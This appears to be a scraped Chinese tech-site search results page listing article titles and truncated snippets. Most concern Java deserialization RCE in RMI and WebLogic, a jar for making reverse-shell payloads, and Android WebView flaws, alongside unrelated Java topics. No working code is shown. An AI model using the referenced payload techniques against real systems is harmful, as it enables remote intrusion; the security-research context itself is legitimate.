    再议 String - 字符串常量池与 String.intern() 的应用

    记录一次因索引合并,结果导致 MySQL 死锁了,过程分析!

    知乎热评:你做 Java 程序员真的是因为热爱吗?

    Elasticsearch 7.13.4 发布,修复内存泄漏漏洞

    Spring Boot 项目 @Value 注解太强大了,使用者无不称赞!

    Java 8 “失宠”,开发人员逐渐向 Java 11 转移!

    Spring Boot 整合:Redis 延时队列的实现方案(基于有赞的设计)

    刘强东刷屏了,一片好评。京东宣布全员涨薪两个月!

    单点登录 SSO 完美解决方案:SpringSecurity JWT(完整教程)

    【附源码】使用 ZooKeeper 实现分布式队列、分布式锁和选举详解!

    Redis 大数据量(百亿级)Key 存储需求及解决方案

    点个赞,就知道你“在看”!

    展开全文
  • 前言 想必很多人在为接下来的金九银十做准备,或许你只是想找到一份工作,亦或许你希望通过今年最后这波拿到一个...LZ把这350道Java面试真题分成了五大专题,分别是:性能优化、微服务架构、并发编程(高级)、开源框
  • 有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右...列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能...
  • OWASP(Open Web Application Security Project)开放式web应用程序安全项目,是一个非营利性组织,不依附于任何企业或财团的安全组织,几乎每隔3年发布的OWASP TOP 10安全漏洞以及成为安全行业事实上的标准。...
  • 有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右...列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能...
  • JAVA RMI 反序列化远程命令执行漏洞

    万次阅读 2017-05-11 00:42:34
    JAVA RMI 反序列化远程命令执行漏洞 漏洞资料 背景 原理 Payload构造 搭建本地测试环境 开启包含第三方库的RMI服务 测试RMI客户端 攻击测试 升级版攻击 Weblogic Commons-Collections反序列化RCE漏洞CVE-2015-4852...
  • Java RMI服务远程方法调用漏洞

    万次阅读 2018-07-09 09:12:57
    JAVA RMI 反序列化远程命令执行漏洞 漏洞资料 背景 原理 Payload构造 搭建本地测试环境 开启包含第三方库的RMI服务 测试RMI客户端 攻击测试 升级版攻击 Weblogic Commons-Collections反序列化RCE漏洞(CVE-2015-...
  • 为了方便小伙伴们使用,我导出了两个jar包,分别用于制作反弹shell的payload和测试的payload。  使用方法和利用方法请仔细看下面的截图:  1、制作反弹shell的payload并利用:  命令: java -...
  • 目前oracle还没有在公开途径发布weblogic的JAVA反序列化漏洞的官方补丁,目前看到的修复方法无非两条: 使用SerialKiller替换进行序列化操作的ObjectInputStream类;在不影响业务的情况下,临时删除掉项目里的 ...
  • 本文讲的是Java反序列化漏洞利用的学习与实践, 利用DeserLab 建议你在阅读本文之前,先阅读《攻击Java反序列化过程》,这样你就会对java反序列化有一个比较清晰的认识。除此之外,这篇文章还提到了一个“DeserLab...
  • FortifyVulnerabilityExporter允许将漏洞从Fortify on Demand和Fortify软件安全中心导出到以下第三方产品和输出格式: 在将FortifyVulnerabilityExporter集成到SDLC中之前,请查看以下各节中的信息: 相关链接 下载...
  • 常见的weblogic的JAVA反序列化漏洞修复方法如下: 1.使用SerialKiller替换进行序列化操作的ObjectInputStream类; 2.在不影响业务的情况下,临时删除掉项目里的 "org/apache/commons/collections/functors/...
  • 经过查找各种博客资料发现 post提交是有限制的最大值  maxPostSize的默认大小为2097152,当maxPostSize=0时,不限制;...由于Java中的哈希表实现上的漏洞,现如今因为Tomcat使用了哈希表来存储HT
  • Bird101 · 2015/12/29 15:340x00 简介Java反序列化漏洞由来已久,在WebLogic和JBoss等著名服务器上都曝出存在此漏洞。FoxGlove Security安全团队的breenmachine给出了详细的分析,但没有给出更近一步的利用方式。前...
  • 记录一次使用POI报错问题,导出pdf和excel是正常的,再导出word的时候出现了该异常信息,再网上给出的经验是poi-ooxml-schemas是精简版,具体操作删除pom中 <dependency> <groupId>org.apache.poi<...
  • 目前oracle还没有在公开途径发布weblogic的JAVA反序列化漏洞的官方补丁,目前看到的修复方法无非两条: 使用SerialKiller替换进行序列化操作的ObjectInputStream类; 在不影响业务的情况下,临时删除掉项目里的 ...
  • 作者:Tom-shushuwww.cnblogs.com/Tom-shushu/p/14一、序言Excel、PDF的导出、导入是我们工作中经常遇到的一个问题,刚好今天公司业务遇到了这个问题...
  • 如何把PDA中的文本文档导出到电脑PC中呢?而且是基于JAVA平台的,网上的例子和能够参考的资料,几乎为零但是在高手的指点下,这个难题也被额给攻破了喽……^^进入正题,PDA我在这里就不做太多的说明了,简单的说,...
  • 点击“开发者技术前线”,选择“星标”让一部分开发者看到未来关于从先前的长期支持版本(Java 11 和 Java 8)迁移代码,你需要知道的是什么?整理 | 王晓曼 出品 | CSDN...
  • 最近st2 框架又出漏洞了 一大堆java被执行命令了 这里我提一个解决方案 可以适当缓解服务端被漏洞进行rce漏洞的问题 LD_PRELOAD替换进程底层函数  首先请看这篇文章 如果是某位c++的大佬 您老就不用看了:) ...
  • Android WebView 使用漏洞

    2020-04-18 12:22:35
    WebView中,主要漏洞有三类: 任意代码执行漏洞; 密码明文存储漏洞; 域控制不严格漏洞; 二、具体分析 2.1、WebView任意代码执行漏洞 出现该漏洞的原因有三个: WebView 中 addJavascriptInterface() ...
  • Android常见漏洞

    千次阅读 2016-05-08 20:54:01
    Android常见漏洞 漏洞名称: Log敏感信息泄露 漏洞描述: 程序运行期间打印了用户的敏感信息,造成泄露 修改建议: 建议禁止隐私信息的log   漏洞名称: web https校验错误忽略漏洞 漏洞描述: ...
  • java开源包1

    千次下载 热门讨论 2013-06-28 09:14:34
    ftp4j是一个FTP客户端Java类库,实现了FTP客户端应具有的大部分功能文件(包括上传和下 载),浏览远程FTP服务器上的目录和文件,创建、删除、重命,移动远程目录和文件。ftp4j提供多种方式连接到远程FTP服务器包括...
  • java开源包12

    热门讨论 2013-06-28 10:14:45
    ftp4j是一个FTP客户端Java类库,实现了FTP客户端应具有的大部分功能文件(包括上传和下 载),浏览远程FTP服务器上的目录和文件,创建、删除、重命,移动远程目录和文件。ftp4j提供多种方式连接到远程FTP服务器包括...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 6,344
精华内容 2,537
关键字:

java导出功能漏洞

java 订阅